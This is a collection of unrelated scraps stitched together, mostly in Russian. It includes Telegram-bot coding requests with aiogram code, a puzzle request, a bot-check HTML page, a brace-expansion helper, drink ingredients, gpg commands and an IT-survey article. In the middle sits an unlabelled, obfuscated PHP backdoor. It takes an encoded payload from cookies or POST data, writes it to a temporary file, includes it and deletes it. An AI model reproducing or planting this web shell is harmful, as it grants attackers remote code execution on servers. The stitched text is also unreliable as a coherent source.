Напиши мне на Python чат-бота. Алгоритм работы такой. Сторонний пользователь пишет сообщение и оно отправляется в чат к владельцу бота. Если владелец бота отвечает на конкретное сообщение то бот его пересылает лицу которое его отправило, если просто отвечает то сообщение отправляется последнему написавшему

import telebot
from collections import defaultdict

# Токен вашего бота
API_TOKEN = 'YOUR_API_TOKEN_HERE'

bot = telebot.TeleBot(API_TOKEN)

# Хранилище сообщений (user_id -> last_message)
user_last_message = {}
# Хранилище последних сообщений каждого пользователя, отправленных владельцу
message_store = defaultdict(list)

# ID владельца бота
OWNER_ID = 'YOUR_OWNER_ID_HERE'

@bot.message_handler(func=lambda message: True)
def handle_message(message):
    user_id = message.from_user.id
    if user_id == OWNER_ID:
        # Ответ от владельца
        if message.reply_to_message:
            # Если владелец отвечает на конкретное сообщение
            original_message_id = message.reply_to_message.message_id
            for uid, msg_list in message_store.items():
                for msg in msg_list:
                    if msg.message_id == original_message_id:
                        bot.send_message(uid, f"Ответ на ваше сообщение: {message.text}")
                        return
        else:
            # Если владелец отвечает без привязки
            if user_last_message:
                last_user_id = max(user_last_message, key=user_last_message.get)
                bot.send_message(last_user_id, f"Ответ от владельца: {message.text}")
    else:
        # Сообщение от пользователя
        bot.send_message(OWNER_ID, f"Сообщение от {message.from_user.username} (id: {user_id}): {message.text}")
        user_last_message[user_id] = message.message_id
        message_store[user_id].append(message)

bot.polling()

Используй какую нибудь асинхронную библиотек, храни данные в sqlite. Владельцу добавь кнопки типа заблокировать, очистить диалог (есть ли у бота возможность очищать диалог?). Напиши Dockerfile и docker-compose для запуска. 

import asyncio
import aiosqlite
from aiogram import Bot, Dispatcher, types
from aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton
from aiogram.utils.keyboard import InlineKeyboardBuilder
from aiogram.filters import Text, Command
from aiogram.fsm.storage.memory import MemoryStorage

# Токен вашего бота
API_TOKEN = 'YOUR_API_TOKEN_HERE'

# ID владельца бота
OWNER_ID = 'YOUR_OWNER_ID_HERE'

# Инициализация бота и диспетчера
bot = Bot(token=API_TOKEN)
dp = Dispatcher(storage=MemoryStorage())

# Подключение к базе данных
async def init_db():
    async with aiosqlite.connect('bot.db') as db:
        await db.execute('''CREATE TABLE IF NOT EXISTS users
                            (user_id INTEGER PRIMARY KEY, blocked INTEGER DEFAULT 0)''')
        await db.execute('''CREATE TABLE IF NOT EXISTS messages
                            (user_id INTEGER, message_id INTEGER, content TEXT)''')
        await db.commit()

# Кнопки управления
def owner_keyboard(user_id):
    builder = InlineKeyboardBuilder()
    builder.add(
        InlineKeyboardButton(text="Заблокировать", callback_data=f"block_{user_id}"),
        InlineKeyboardButton(text="Очистить диалог", callback_data=f"clear_{user_id}")
    )
    return builder.as_markup()

# Обработчик сообщений от пользователя
@dp.message(Command(commands=['start']))
async def start(message: types.Message):
    await message.answer("Привет! Отправь мне сообщение, и я перешлю его владельцу.")

@dp.message()
async def forward_to_owner(message: types.Message):
    user_id = message.from_user.id
    async with aiosqlite.connect('bot.db') as db:
        async with db.execute("SELECT blocked FROM users WHERE user_id = ?", (user_id,)) as cursor:
            row = await cursor.fetchone()
            if row and row[0] == 1:
                await message.answer("Вы заблокированы.")
                return
        
        await db.execute("INSERT INTO messages (user_id, message_id, content) VALUES (?, ?, ?)", 
                         (user_id, message.message_id, message.text))
        await db.commit()

    # Пересылка сообщения владельцу
    keyboard = owner_keyboard(user_id)
    await bot.send_message(OWNER_ID, f"Сообщение от {message.from_user.username} (id: {user_id}): {message.text}", reply_markup=keyboard)

# Обработчик сообщений от владельца
@dp.message(lambda message: message.from_user.id == int(OWNER_ID))
async def handle_owner_reply(message: types.Message):
    if message.reply_to_message:
        # Если ответ на конкретное сообщение
        original_message = message.reply_to_message.text.split("(id: ")[-1].rstrip('):')
        target_user_id = int(original_message)
        await bot.send_message(target_user_id, f"Ответ от владельца: {message.text}")
    else:
        async with aiosqlite.connect('bot.db') as db:
            async with db.execute("SELECT user_id FROM messages ORDER BY rowid DESC LIMIT 1") as cursor:
                row = await cursor.fetchone()
                if row:
                    last_user_id = row[0]
                    await bot.send_message(last_user_id, f"Ответ от владельца: {message.text}")

# Обработчик кнопок
@dp.callback_query(Text(startswith="block_"))
async def block_user(callback: types.CallbackQuery):
    user_id = int(callback.data.split("_")[1])
    async with aiosqlite.connect('bot.db') as db:
        await db.execute("UPDATE users SET blocked = 1 WHERE user_id = ?", (user_id,))
        await db.commit()
    await callback.message.answer(f"Пользователь {user_id} заблокирован.")

@dp.callback_query(Text(startswith="clear_"))
async def clear_dialog(callback: types.CallbackQuery):
    user_id = int(callback.data.split("_")[1])
    async with aiosqlite.connect('bot.db') as db:
        await db.execute("DELETE FROM messages WHERE user_id = ?", (user_id,))
        await db.commit()
    await callback.message.answer(f"Диалог с пользователем {user_id} очищен.")

async def main():
    await init_db()
    await dp.start_polling(bot)

if __name__ == "__main__":
    asyncio.run(main())

<код>

Перепиши его. В общем когда боту пишет пользователь, то сообщение должно пересылаться полностью со всеми файлами и вложениями, а не только текст. Когда владелец просто пишет в чат с ботом, то ответ приходить должен последнему написавшему стороннему пользователю, если владелец отвечает (Reply) на конкретно сообщение, то ответ пересылается ботом в чат с этим пользователем. 

Убери это. await bot.send_message(args.owner_id, forward_text). Айди отправившего сообщения в базе. Когда мы отвечаем на сообщение, то нужно смотреть в базе кто его отправитель. Те нужно создать еще одну таблицу.

Эта таблица должна выглядеть так:

CREATE TABLE IF NOT EXISTS messages (
            message_id INTEGER PRIMARY KEY,
            sender_id INTEGER,
        )

Так же нужно добавить таблицу user_info где хранить записи типа user_id, fullname, username. Эти данные каждый раз обновляются когда пишет пользователь. Из этой же таблицы берутся данные, когда нажимаешь на кнопку Кто отправитель?

def owner_keyboard(message_id: int) -> InlineKeyboardMarkup:
    """Создает клавиатуру с кнопками управления для владельца."""
    keyboard = InlineKeyboardMarkup()
    keyboard.add(
        InlineKeyboardButton(
            text="👁️ Whois",
            callback_data=f"view_user_{message_id}",
        ),
        InlineKeyboardButton(
            text="🚫 Ban", callback_data=f"block_{message_id}"
        ),
    )
    return keyboard

def owner_keyboard(user_id: int) -> InlineKeyboardMarkup:
    """Создает клавиатуру с кнопками управления для владельца."""
    return InlineKeyboardMarkup(
        inline_keyboard=[
            [
                InlineKeyboardButton(
                    text="👁️ Кто это?",
                    callback_data=f"whois_{user_id}",
                ),
                InlineKeyboardButton(
                    text="🚫 Бан",
                    callback_data=f"block_{user_id}",
                ),
            ],
        ]
    )

# https://docs.aiogram.dev/en/latest/dispatcher/errors.html
@dp.error()
async def error_handler(event: ErrorEvent):
    logger.error("Error caused by %s", event.exception, exc_info=True)

# Такое
    cursor = await db_connection.execute(
        "SELECT sender_id FROM messages ORDER BY ROWID DESC LIMIT 1"
    )
    result = await cursor.fetchone()
    return result[0] if result else None

# Заменять на это
    async with connection.execute(
        "SELECT sender_id FROM message_senders WHERE message_id = ?",
        (message_id,),
    ) as cursor:
        result = await cursor.fetchone()
        return result[0] if result else None

# Что аналогично
cursor = await execute()
result = await cursor.fetchone()

try:
    return result[0] if result else None
finally:
    await cursor.close()

    await connection.execute(
        """
        INSERT INTO user_info (user_id, full_name, username)
        VALUES (?, ?, ?)
        ON CONFLICT(user_id) DO UPDATE SET
            full_name=excluded.full_name,
            username=excluded.username,
            updated_at=CURRENT_TIMESTAMP
        """,
        (user_id, full_name, username),
    )

Напишите, пожалуйста, программу на любом языке программирования, которая поместит + (2+3), - (3-2), или ничего ( ) в промежутках между цифрами от 9 до 0 (в таком порядке) так, чтобы в результате получилось 200. Например: 98+76-5+43-2-10=200.

<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="robots" content="noindex, nofollow">
    <title>One moment, please...</title>
    <style>
    body {
        background: #F6F7F8;
        color: #303131;
        font-family: sans-serif;
        margin-top: 45vh;
        text-align: center;
    }
    </style>
    </head>
<body>
    <h1>Please wait while your request is being verified...</h1>
    <form id="wsidchk-form" style="display:none;" action="/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f" method="GET">
    <input type="hidden" id="wsidchk" name="wsidchk"/>
    </form>
    <script>
    (function(){
        var west=+((+!+[])+(+!+[]+!![]+[])+(+!+[]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])+(+![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+[])),
            east=+((+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+[])),
            x=function(){try{return !!window.addEventListener;}catch(e){return !!0;} },
            y=function(y,z){x() ? document.addEventListener('DOMContentLoaded',y,z) : document.attachEvent('onreadystatechange',y);};
        y(function(){
            document.getElementById('wsidchk').value = west + east;
            document.getElementById('wsidchk-form').submit();
        }, false);
    })();
    </script>
</body>
</html>

{/* ... */"title":"One moment, please..."/* ... */}

<?php
function hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."'" ."g" ;$qj5='';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = hf1(Array(10,10,19,16,13,10,7,37,15,19,42,16,32,15,12,10,12,7,15,42,13,10,13,15,41,18,14,12,12,30,37,14,41,18,20,32));$bi6[] = hf1(Array(9,29,4,29,40,27,2,21,17,5,21,28,47,44,44,1,6,48,35,44,44,36,3,40));$bi6[] = hf1(Array(38,25,8,19,2,17,13));$bi6[] = hf1(Array(45,33));$bi6[] = hf1(Array(38,31));$bi6[] = hf1(Array(39));$bi6[] = hf1(Array(23));$bi6[] = hf1(Array(46,5,17,13,44,29,2,22,44,14,8,21,22,13,21,22,24));$bi6[] = hf1(Array(18,11,11,18,26,44,25,13,11,50,13));$bi6[] = hf1(Array(24,22,11,44,11,13,29,13,18,22));$bi6[] = hf1(Array(13,0,29,17,8,19,13));$bi6[] = hf1(Array(24,2,43,24,22,11));$bi6[] = hf1(Array(2,21,17,5,21,28));$bi6[] = hf1(Array(24,22,11,17,13,21));$bi6[] = hf1(Array(29,18,14,28));$bi6[] = hf1(Array(25,19,7));foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}

def combine(a: list, b: list) -> list:
    rv = []
    for x in a:
        for y in b:
            rv.append(x + y)
    return rv


def append(lst: list[str], add: str) -> list[str]:
    return [x + add for x in lst]


def expand(s: str) -> list[str]:
    head, *parts = s.split("{")
    rv = [head]
    for part in parts:
        options, rest = part.split("}", 1)
        rv = append(combine(rv, options.split(",")), rest)
    return rv


assert expand("~/{.local/share,.config,.cache}/{foo,bar}-package") == ['~/.local/share/foo-package', '~/.local/share/bar-package', '~/.config/foo-package', '~/.config/bar-package', '~/.cache/foo-package', '~/.cache/bar-package']

~   
❯ echo /path/to/{foo,ba{r,z}}.txt
/path/to/foo.txt /path/to/bar.txt /path/to/baz.txt

Состав: вода, сахар, газ для насыщения напитков (диоксид углерода), регуляторы кислотности (лимонная кислота, цитрат натрия, фосфат калия), таурин, D-рибоза, L-карнитин, натуральный кофеин, витамин С, инозит, экстракт гуараны, экстракт женьшеня, витамин В6, витамин В12, краситель (бета-каротин), мальтодекстрин, натуральный ароматизатор;
таурин 399 мг, L-карнитин 100 мг, кофеин не более 30 мг, витамин С не менее 25 мг, инозит 21.7 мг, женьшень 4.8 г, витамин В6 0.8 мг, витамин В12 0.4 мкг.
Вещества в составе напитка, рибоза и карнитин, участвуют в обменных процессах на уровне клеток. Можно сказать, что они помогают создавать энергию (АТФ).
Пищевая ценность на 100 мл продукта: углеводы – 13 г, белки – 0,5 г, жиры - 0 г.
Энергетическая ценность 100 ml: 52 ккал.

pass show gocryptfs/secret/password

$ yay -S kwalletcli

$ micro ~/.gnupg/gpg-agent.conf        
pinentry-program /usr/bin/pinentry-kwallet

Здравствуйте, уважаемый читатель.

"Глас Рунета" провел онлайн опрос 1067 российских IT-специалистов, большинство которых являются программистами, разработчиками (45,5%), IT-директорами (9,5%), аналитиками (8,3%), администраторами баз данных (7,4%), системными администраторами (5,8%), руководителями групп разработки (5,5%), руководителями проектов (4,4%), специалистами техподдержки (4,1%).

Большинство опрошенных IT-специалистов работают в качестве программистов, разработчиков (56,0%) либо иногда пишут код как часть своей работы (16,8%). Напротив, 7,7% только входят в профессию, обучаясь программированию, а 9,9% не имеют достаточного опыта в программировании.

Среди опрошенных IT-специалистов преобладают мужчины (82,9%), возраст которых 25-54 года, в том числе, 25-34 года (22,4%), 35-44 года (41,6%), 45-54 года (22,0%). Большинство опрошенных проживают в Москве и Московской области (25,7%), Санкт-Петербурге и Ленинградской области (9,1%), Приволжском (14,8%), Центральном (10,9%), Сибирском (10,9%), Южном (9,0%) и Уральском (8,3%) федеральных округах.

Большинство (66,6%) опрошенных IT-специалистов имеют высшее (бакалавриат, специалитет, магистратура) образование, 9,6% получили более одного высшего или послевузовское образование, 4,5% обладают ученой степенью. Прошли обучение по IT специальностям в профильном учебном заведении (школа, колледж, ВУЗ и т.д.) 55,3% IT-специалистов, 42,0% учились на рабочем месте с помощью коллег, а 40,9% на учебных курсах (онлайн или офлайн)? 23,0% обучались по программам повышения квалификации, сертификации. Из дополнительных ресурсов 47,5% использовали для обучения открытые источники (книги, статьи, справочники и т.п.), а 37,0% обучающие видео, блоги.

Возможности для обучения, повышения квалификации за счет работодателя есть только у части опрошенных IT-специалистов: 47,0% имеют доступ к учебным материалам (книгам, видео, справочникам и т.п.), 39,0% могут проходить обучение (стажировку) на рабочем месте под руководством наставников, 30,9% могут проходить краткосрочные тренинги, семинары, мастер-классы (онлайн или офлайн) за счет работодателя, 27,6% - обучаться по программам повышения квалификации, сертификации, 21,0% - на специализированных курсах до нескольких месяцев. Однако 28,7% IT-специалистов никаких возможностей обучения, повышения квалификации от работодателя не имеют.

Опрошенные IT-специалисты заняты преимущественно в отраслевых коммерческих организациях (37,9%), где наиболее востребованы их знания и опыт: оптовая торговля, дистрибуция, логистика (17,9%), розничная и сетевая торговля, FMCG (9,7%), пищевая промышленность (7,2%), машиностроение и приборостроение (7,0%), строительство (6,7%), автомобили, автосервисы (5,1%), легкая промышленность, мода и одежда (3,7%), энергетика и ЖКХ (3,4%), аудит, бухгалтерские услуги и консальтнг (2,8%), здравоохранение, медицина (2,7%), транспорт, логистика (2,6%). Около 9,0% трудятся в государственных учреждениях или некоммерческих организациях. Напротив, 37,9% работают в специализированных IT-компаниях, а еще 8,4% - в качестве фрилансеров, самозанятых.

Большинство трудоустроенных IT-специалистов являются штатными (72,1%) или внештатными (3,7%) сотрудниками своих компаний (организаций). Только 10,7% выступают как их владельцы, (со)учредители, 10,1% - как директора, руководители, 2,0% - как управляющие партнеры. Среди трудоустроенных IT-специалистов 23,1% работают в своих нынешних компаниях (организациях) более 10 лет, 22,8% - от 5 до 10 лет, 37,7% - от 1 до 4 лет. Еще 16,3% только осваиваются на новом месте работы.

С точки зрения текущей рабочей ситуации IT-специалисты распределились по трем примерно равным группам. 37,1% работают с полным личным присутствием в офисе работодателя, заказчика; 35,6% заняты "гибридно", то есть, отчасти удаленно, отчасти в офисе работодателя, заказчика, а 27,3% работают полностью удаленно, в режиме дистанционной занятости.

Основной операционной системой, в которой ведут разработки опрошенные IT-специалисты, остается Windows (97,4%), а вспомогательными выступают Linux (20,2%) и macOS (6,0%). Среди языков программирования в число наиболее востребованных вошли SQL (22,1%), Python (14,8%), HTML/CSS (12,6%), JavaScript (10,6%), VBA (8,7%), PHP (8,3%), C++ (7,3%), C# (7,2%), Java (6,9%), Bash/Shell (5,9%), OneScript (5,6%), С (2,6%).

В числе наиболее популярных СУБД были указаны MS SQL Server (68,7%), PostgreSQL (36,4%), MySQL/MariaDB (11,4%). Заметно меньшее распространение получили SQLite (6,2%), Oracle Database (2,6%), MongoDB (2,5%). И только 9,3% опрошенных IT-специалистов не использовали никакие СУБД.

Основными инструментами для рабочей коммуникации, который активно использовали опрошенные IT-специалисты, были электронная почта (82,2%), Telegram (69,8%), WhatsApp (50,8%). В несколько меньшей степени задействовались сервисы для телеконференций Zoom (36,0%), Skype (34,8%), Microsoft Teams (13,3%).

Среди инструментов для организации совместной работы IT-специалистов над проектами в число наиболее востребованных вошли Bitrix24 (21,9%), Jira (13,3%), GitLab (10,8%), Trello (8,8%), Confluence (8,2%), Redmine (5,1%), Notion (1,9%). Только 9,0% IT-специалистов не пользовались инструментами для совместной работы над проектами.

В числе интегрированных сред разработки (IDE) и текстовых редакторов наиболее востребованными были Notepad++ (28,8%), Visual Studio Code (20,3%), MS Visual Studio (9,3%), PyCharm (6,9%), Android Studio (5,9%). Только 2,4% IT-специалистов не использовали интегрированные среды разработки (IDE).

IT-специалисты чаще всего использовали такие хостинги с контролем версий как GitHub (62,6%) и GitLab (40,9%). Ограниченное применение нашли Bitbucket/Gitbucket (12,3%), Azure Repos (4,0%). В то же время, 10,1% IT-специалистов совсем не использовали такие инструменты.

Большинство (70,2%) IT-специалистов не использовали каких-либо дополнительных инструментов для разработчиков. Среди тех, кто применял для разработок вспомогательные инструменты, наиболее востребованными были Docker (10,3%), RabbitMQ (7,0%), Allure (5,7%), Apache Kafka (5,0%), Grafana (4,8%), Windows Subsystem for Linux (4,3%).